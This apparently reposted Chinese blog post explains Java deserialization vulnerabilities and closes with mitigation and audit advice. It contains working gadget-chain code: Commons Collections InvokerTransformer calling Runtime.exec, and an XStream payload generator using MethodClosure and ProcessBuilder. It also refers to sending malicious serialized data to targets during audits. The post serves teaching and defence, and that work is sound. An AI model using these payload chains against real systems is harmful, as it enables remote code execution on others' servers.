JAVA反序列化安全

来源:互联网 发布:网络借贷平台排名 编辑:程序博客网 时间:2024/06/05 01:59

微信公众号:DebugPwn


新浪微博:

http://weibo.com/u/2275304001/home?wvr=5


漏洞简介:

反序列化漏洞有十年的历史,存在于不同的编程语言中,最为明显的当属Java、PHP、Python、Ruby。漏洞的本质就是反序列化机制打破了数据和对象的边界,导致攻击者注入的恶意序列化数据在反序列化过程中被还原成对象,控制了对象就可能在目标系统上面执行攻击代码。

反序列化漏洞特点:

1)、反序列化对象自身的构造函数或者readObject()函数体中有执行代码的能力。

2)、反序列化的对象readObject()中可以调用另外一个对象,另外一个对象有执行代码的能力。

3)、返序列化的对象readObject()中可以调用另外一个对象,另外一个对应在调用另外一个对象,第三个对象有执行代码的能力,以此类推。

而上面掉用过程就是一个执行链,也叫做Gadget,在构造Gadget一般要用到Java的反射机制。

序列化分类进行分析:

1、Binary序列化反序列化:Object--serialize--data--unerialize--Object

Commons Collections反序列化漏洞

TransformedMap类 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)方法可以生成Map对象,并且当Map对象进行get/set操作可执行任意代码。--炸弹

Transformer类有执行代码的构造方法
Transformer[] transforms = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[] {String[].class},
new Object[] {execArgs}
)
};

AnnotationInvocationHandler的构造函数参数含有Map对象的,并且在readObject中有对Map的setVlaue操作方法。--导火索

private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

   
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
       
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
   // situation is handled by the invoke method.
   
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
           
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

满足了 2)反序列化的对象readObject()中可以调用另外一个对象,另外一个对象有执行代码的能力。

目标系统在反序列化攻击者精心构造的AnnotationInvocationHandler对象的时候就会执行任意代码。

案例一:JBoss反序列化漏洞


案例二:WebLogic反序列化漏洞


官方的修复方法,在readObject()增加了checkUnsafeSerializetion校验函数:

/**
* Overrides the default readObject implementation to prevent
* de-serialization (see COLLECTIONS-580).
*/
private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
is.defaultReadObject();
}

跟进checkUnsafeSerializetion方法,看到是否执行反序列化有一个开关UNSAFE_SERIALIZABLE_PROPERTY,默认为null,反序列化是不能顺利执行的。

static void checkUnsafeSerialization(Class clazz) {
String unsafeSerializableProperty;

try {
unsafeSerializableProperty =
(String) AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return System.getProperty(UNSAFE_SERIALIZABLE_PROPERTY);
}
});
} catch (SecurityException ex) {
unsafeSerializableProperty = null;
}

if (!"true".equalsIgnoreCase(unsafeSerializableProperty)) {
throw new UnsupportedOperationException(
"Serialization support for " + clazz.getName() + " is disabled for security reasons. " +
"To enable it set system property '" + UNSAFE_SERIALIZABLE_PROPERTY + "' to 'true', " +
"but you must ensure that your application does not de-serialize objects from untrusted sources.");
}


2、xml序列化反序列化:Object--serialize--xml--unserialise--Object

案例一:Using XMLDecoder to execute server-side Java Code on an Restlet application (i.e. Remote Command Execution)


其中,xmlDecoder.readObject()最终通过RuntimeUtil对象反射调用execute()方法导致代码执行:

public class RuntimeUtil {

public Process execute(String[] command) throws IOException {
return Runtime.getRuntime().exec(command);
}

public static void anotherExecute(String partCommand) throws Exception {
Runtime.getRuntime().exec(partCommand);
}

}
public Object invoke(Object var1, Object[] var2) throws IllegalArgumentException, InvocationTargetException {
if(++this.numInvocations > ReflectionFactory.inflationThreshold() && !ReflectUtil.isVMAnonymousClass(this.method.getDeclaringClass())) {
MethodAccessorImpl var3 = (MethodAccessorImpl)(new MethodAccessorGenerator()).generateMethod(this.method.getDeclaringClass(), this.method.getName(), this.method.getParameterTypes(), this.method.getReturnType(), this.method.getExceptionTypes(), this.method.getModifiers());
this.parent.setDelegate(var3);
}

return invoke0(this.method, var1, var2);
}

满足了2)反序列化的对象readObject()中可以调用另外一个对象,另外一个对象有执行代码的能力。

案例二:RCE via XStream object deserialization

MethodClosure类的hashCode方法可以执行反射函数执行代码--炸弹

public class PayloadGeneration {
public static String generateExecPayload(String cmd) throws Exception
{
Map map = new HashMap<Expando, Integer>();
Expando expando = new Expando();
MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder(cmd), "start");
//methodClosure.setDelegate(expando);
     //以免抛出异常,暂且将hashCode换个name。
     
expando.setProperty("generation_hashCode", methodClosure);
map.put(expando, 123);
//Serialize the object
   
XStream xs = new XStream();
String payload = xs.toXML(map).replace("generation_hashCode", "hashCode");
return payload;
}
}

Xstream反序列化漏洞会调用putCurrentEntryIntoMap函数执行target.put(key,value)执行map操作--导火索

package com.thoughtworks.xstream.converters.collections;

protected void putCurrentEntryIntoMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map, Map target) {
reader.moveDown();
Object key = this.readItem(reader, context, map);
reader.moveUp();
reader.moveDown();
Object value = this.readItem(reader, context, map);
reader.moveUp();
target.put(key, value);
}


3、json序列化:Object--serialize--json--unserialise--Object

采用json进行序列化和反序列化优点轻量,适用于网络数据传输。常见的类库Gson、JSON-lib和Jackson,暂没有见到反序列化漏洞案例。

4、其他反序列类库:Google ProtoBuf


Java关于反序列化漏洞历史上数十个漏洞,以后还会更多。


序列化除了上面代码执行漏洞还有其他的一些点需要注意,不要使用序列化敏感数据比如信用卡号、省份证号,因为序列化机制不能保证数据的完整和和保密性,如果类中存在敏感数据并且那么这个类还需要序列化,需要在特定对象的一个域上关闭serialization,在这个域前加上关键字transient即可。


安全开发:

1、反序列化对象白名单控制,在resolveClass方法中校验对象名字。

public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream)
throws IOException {
super(inputStream);
}

/**
   * Only deserialize instances of our expected Bicycle class
   */
 
@Override
 
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,
ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException(
"Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

2、对序列化数据加密传输,反序列化接口调用增加身份认证,此种方法仅仅能提升攻击成本。

3、反序列化里面不要做太复杂的数据结构变换,如Map对象的操作。

4、序列化反序列化操作在沙盒中进行。

代码审计:

1、源代码扫描:基于规则检索readObject()函数,人工审核是否一些安全控制措施。

2、基于流量的检测AC ED00 05序列化标识,反查反序列化接口。发送大量Evil Object Serialize Data,CloudEye接收回显。

3、大多数devs都没有这个安全意识,所以一般满足反序列化漏洞几个特点的代码都可以说是存在问题的。


参考:

反序列化安全

https://github.com/0xwindows/SecurityPaper/tree/master/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AE%89%E5%85%A8

Look-ahead Java deserialization

http://www.ibm.com/developerworks/java/library/se

-lookahead/index.html

http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/

http://blog.diniscruz.com/2013/12/xstream-remote-code-execution-exploit.html

http://www.angelwhu.com/blog/?p=403

https://access.redhat.com/blogs/766093/posts/1976113

https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream?platform=hootsuite

http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/

http://blog.csdn.net/zhaozheng7758/article/details/7820018



0 0
原创粉丝点击